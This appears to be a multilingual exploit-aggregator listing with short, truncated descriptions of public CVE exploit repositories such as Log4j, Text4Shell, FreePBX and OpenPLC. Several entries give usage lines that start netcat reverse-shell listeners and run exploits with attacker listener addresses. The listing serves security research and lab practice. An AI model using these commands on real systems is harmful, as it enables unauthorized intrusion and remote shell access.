cve-2020-14008

CVE-2020-14008 ManageEngine エクスプロイト これは何ですか？ このスクリプトは、ManageEngine Applications Manager の CVE-2020-14008 を悪用し、SYSTEM 権限でリバースシェルを取得します。 要件 root@kitploit: pip3 install requests urllib3 使用方法 1. リスナーを起動 root@kitploit: nc -nlvp 9001 2. エクスプロイトを実行 root@kitploit: python3 cve-2020-14008-exploit.py 例...

CVE-2021-21220

まずインストール: https://commondatastorage.googleapis.com/chromium-browser-snapshots/index.html?prefix=Winx64/848005/ Chrome バージョン: 90.0.4403.0 chrome-win.zip をインストール 1. node server.js run ./chrome.exe --no-sandbox localhost:8888 にアクセス このエクスプロイトが依存しているCVEはCVE 2021-21220であることに注意してください。...

CVE-2025-5548

🚀 CVE-2025-5548 - FreeFloat FTP Server 1.0 の悪用 プロフェッショナルな脆弱性分析と完全なリモートバッファオーバーフローの悪用 🎯 プロジェクトのハイライト CVE-2025-5548 の完全な実世界ケーススタディ （NOOP コマンドによる FreeFloat FTP Server 1.0 のリモートスタックベースバッファオーバーフロー） 手動ツールインストール ＋自動スクリプト（Windows と Linux） Windows 11 VM 上の完全に文書化されたラボ環境 ステップバイステップの悪用 : ファジング → オフセット → 不良文字...

Penetration-Test

ペネトレーションテスト IP（Ubuntu VM）に対する完全なペネトレーションテストレポート。攻撃チェーン: ディレクトリ列挙 → バックアップファイル発見 → パスワードクラッキング → CMSファイルアップロード → リバースシェル → カーネル権限昇格（Dirty Pipe、CVE-2022-0847）。 リポジトリ構成 /report – 最終ペネトレーションテストレポート（PDF） /exploits – カスタムペイロードとエクスプロイトソースコード /enumeration – ワードリスト、ハッシュ、列挙出力 /logs –...

cve-2025-57819-exploit

CVE-2025-57819 漏洞利用工具 元数据 严重性: 严重 9.8 向量: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 类型: 未认证 SQL注入 → 远程代码执行 受影响的软件: FreePBX endpoint 模块 15.0.66、 16.0.89 及 17.0.3 测试环境: FreePBX 16.0.40.7 在 CentOS 7 + Apache 2.4 上 概述 本脚本利用存在漏洞的 FreePBX 端点模块中的 CVE-2025-57819。该漏洞允许 SQL 注入，进而被用于注入恶意定时任务。...

kuang_grade_mk11

kuanggrademk11 用于 CVE-2013-0156 的伪 shell。...

CVE-2025-65817

CVE-2025-65817 필드| 값 ---|--- 제목| 취약점 보고서: LSC Smart Connect Camera 날짜| 2024-02-15 설명| SD 카드 업데이트 훅을 악용하여 LSC Smart Connect 카메라에서 원격 셸을 생성. 태그| iot, 취약점, cve 펌웨어| 1.14.13 LSC Smart Connect Camera 취약점 보고서 발견된 취약점은 startapp.sh의 업데이트 시스템, 특히 SD 카드 마운트와 update.nor.sh 파일을 이용하는 것입니다. 구성 변수 root@kitploit...

CVE-2026-48172

📚 教育用セキュリティ研究リポジトリ 管理された環境でサイバーセキュリティの概念を学習、テスト、研究するためのリポジトリです。 ⚡ 簡単な使い方 このプロジェクトは、以下のような安全で許可された環境でのみ使用してください： ローカル仮想マシン Dockerコンテナ 隔離されたラボ環境 許可されたペネトレーションテスト環境 セットアップ例： root@kitploit: git clone https://github.com/HORKimhab/CVE-2026-48172 && cd CVE-2026-48172 cd lab docker compose up --build -d ...

CVE-2026-3300

CVE-2026-3300 - Wordpress ⚡ 簡単な使い方 このプロジェクトは、以下のような安全で許可された環境でのみ使用してください。 ローカル仮想マシン Docker コンテナ 隔離されたラボ環境 許可されたペネトレーションテスト環境 セットアップ例: root@kitploit: git clone cd プロジェクトは以下のようにPythonを使用します 仮想環境を作成 python -m venv venv 仮想環境を有効化 macOS / Linux source venv/bin/activate Windows Git Bash / WSL source...

CVE-2021-44228-demo

log4j-shell-poc 最近発見されたCVE-2021-44228脆弱性の概念実証（PoC）です。 最近、log4jに新たな脆弱性が見つかりました。log4jは、elasticsearch、minecraft、その他多数で非常に広く使用されているJavaロギングライブラリです。 このリポジトリには、脆弱なアプリケーションの例と、それに対する概念実証（POC）エクスプロイトがあります。 概念実証（POC） PoCとして、プロセスを自動化するPythonファイルがあります。 必要条件: root@kitploit: pip install -r requirements.txt...

MySQL-Fu.rb

MySQL-Fu.rb MySQL-Fu는 제가 작성한 Ruby 기반 MySQL 클라이언트 스크립트입니다. 일반 MySQL 클라이언트가 수행하는 대부분의 작업을 수행합니다: SQL 셸, 데이터베이스/테이블 업데이트/삭제/드롭, 사용자 추가/삭제, gzip 옵션을 포함한 데이터베이스/테이블 덤프...... 또한 침투 테스트를 조금 더 쉽게 해주는 몇 가지 추가 옵션이 있습니다. 여러 내장 PHP 명령 셸 옵션과 Pentestmonkey의 PHP 리버스 셸, 파일 쓰기 및 읽기를 위한 여러 옵션읽은 모든 파일은 나중에 오프라인 분석을...

CVE-2023-27163-AND-Mailtrail-v0.53

自动漏洞利用 摘要 下面的利用程序滥用 Requests Baskets v1.2.1 SSRF 漏洞，将运行在 127.0.0.1:80 的内部应用转发至位于 /pwned 的外部应用。一旦 Mailtrail v0.53 应用被转发，该利用程序便会对其执行反弹 Shell 命令，几秒钟内用户即可在目标机器上获得一个反弹 Shell。 命令 root@kitploit: python3 ./exploit http://10.10.10.10:55555 LISTENER-IP LISTENER-PORT 所利用的漏洞： CVE-2023-27163 Mailtrail v0.53 致...

CVE-2026-15410

cve-id ⚡ 简单用法 仅在安全且授权的环境中使用本项目，例如： 本地虚拟机 Docker 容器 隔离的实验室环境 授权的渗透测试环境 示例设置： root@kitploit: git clone cd Project use python follow below Create a virtual environment python -m venv venv Activate the virtual environment macOS / Linux source venv/bin/activate Windows Git Bash / WSL source...

CVE-2023-422-Chamilo-LMS-RCE

前提条件 root@kitploit: pip install requests 情報 このPythonスクリプトは、脆弱性CVE-2023-422を利用してサーバーにファイルをアップロードし、そのファイルを使用してnetcatリスナーにリバースシェルを送信します。これらはすべて認証なしで実行できます。ただし、Pythonスクリプトを正常に使用するには、以下の手順に従う必要があります。 netcatリスナーを起動: root@kitploit: nc -lnvp 4444 Pythonスクリプトの実行（例）: root@kitploit: python3 main.py -u...

cve-2025-55182

🛡️ React2Shell CTF 🚀 React2Shell-CTF へようこそ。これは React2Shell（CVE-2025-55182） の悪用を練習するために設計された Docker 環境です。 React2Shell は、React ベースのアプリケーションに影響を与える重大な脆弱性です。このリポジトリは、この欠陥を理解し緩和するための、安全にローカル展開できる Capture The Flag（CTF）チャレンジを提供します。リバースシェルを奪取できますか？ 🐚 ℹ️ 脆弱性情報 CVE-2025-55182 の完全な技術的説明については、公式情報サイトをご覧ください: 👉...

CVE-2011-2523

CVE-2011-2523 这是在 vsFTPd 2.3.4 服务中发现的一个漏洞，通过端口 6200 进行重定向，从而提供一个交互式 shell，进而解释命令。 https://www.exploit-db.com/exploits/49757...

CVE-2018-17431-PoC

CVE-2018-17431-PoC CVE-2018-17431 的概念验证 漏洞标题：Comodo Firewall & Central Manager UTM 所有 2.7.0 及 1.5.0 之前版本远程命令执行（基于Web Shell） 漏洞作者：Milad Fadavvi 厂商主页：https://www.comodo.com/ 软件链接：https://secure.comodo.com/home/purchase.php?pid=106&license=try&track=9276&af=9276 版本：2.7.0 及 1.5.0 之前...

CVE-2025-24132-Scanner

EN | KR 📄 概要 このツールは、mDNS（Zeroconf）を介してローカルネットワーク上のAirPlay対応デバイスを検出し、CVE-2025-24132 “ゼロクリック” HTTP RCE脆弱性がないかテストします。検出されたデバイスはシンプルなGUIに一覧表示され、デバイスをクリックすると取得したすべてのプロパティを表示できます。 前提条件 Python 3.7+ PyQt5 zeroconf パッケージ（pip install zeroconf） インストール root@kitploit: pip install PyQt5 zeroconf または...

CVE-2021-31630

OpenPLC WebServer v3 - 認証済みRCE CVE-2021-31630 このエクスプロイトは、Fellipe Oliveira によって作成された Exploit-DB のエクスプロイトに基づいています。 まず、認証する 悪意のあるCファイルをアップロードする コンパイルする PLCを起動する（リバースシェルを開始する） PLCを停止する（実行する必要はありません。リバースシェルはすでに開始されています） root@kitploit: └─ python3 customexploit.py --url http://10.10.11.7:8080 --username...

CVE-2022-42889-text4shell

CVE-2022-42889-text4shell 説明 このスクリプトは、Apache Commons Text（バージョン -param $PARAMETER -L $LHOST -P $LPORT 例 root@kitploit: python3 exploit.py -t 10.10.10.10 -p 8080 -u /search/ -param query -L 10.10.14.5 -P 139 免責事項 このツールは教育目的および許可されたペネトレーションテストのみを対象としています。作者は、このスクリプトの誤用またはそれによって生じた損害について一切の責任を負いません。...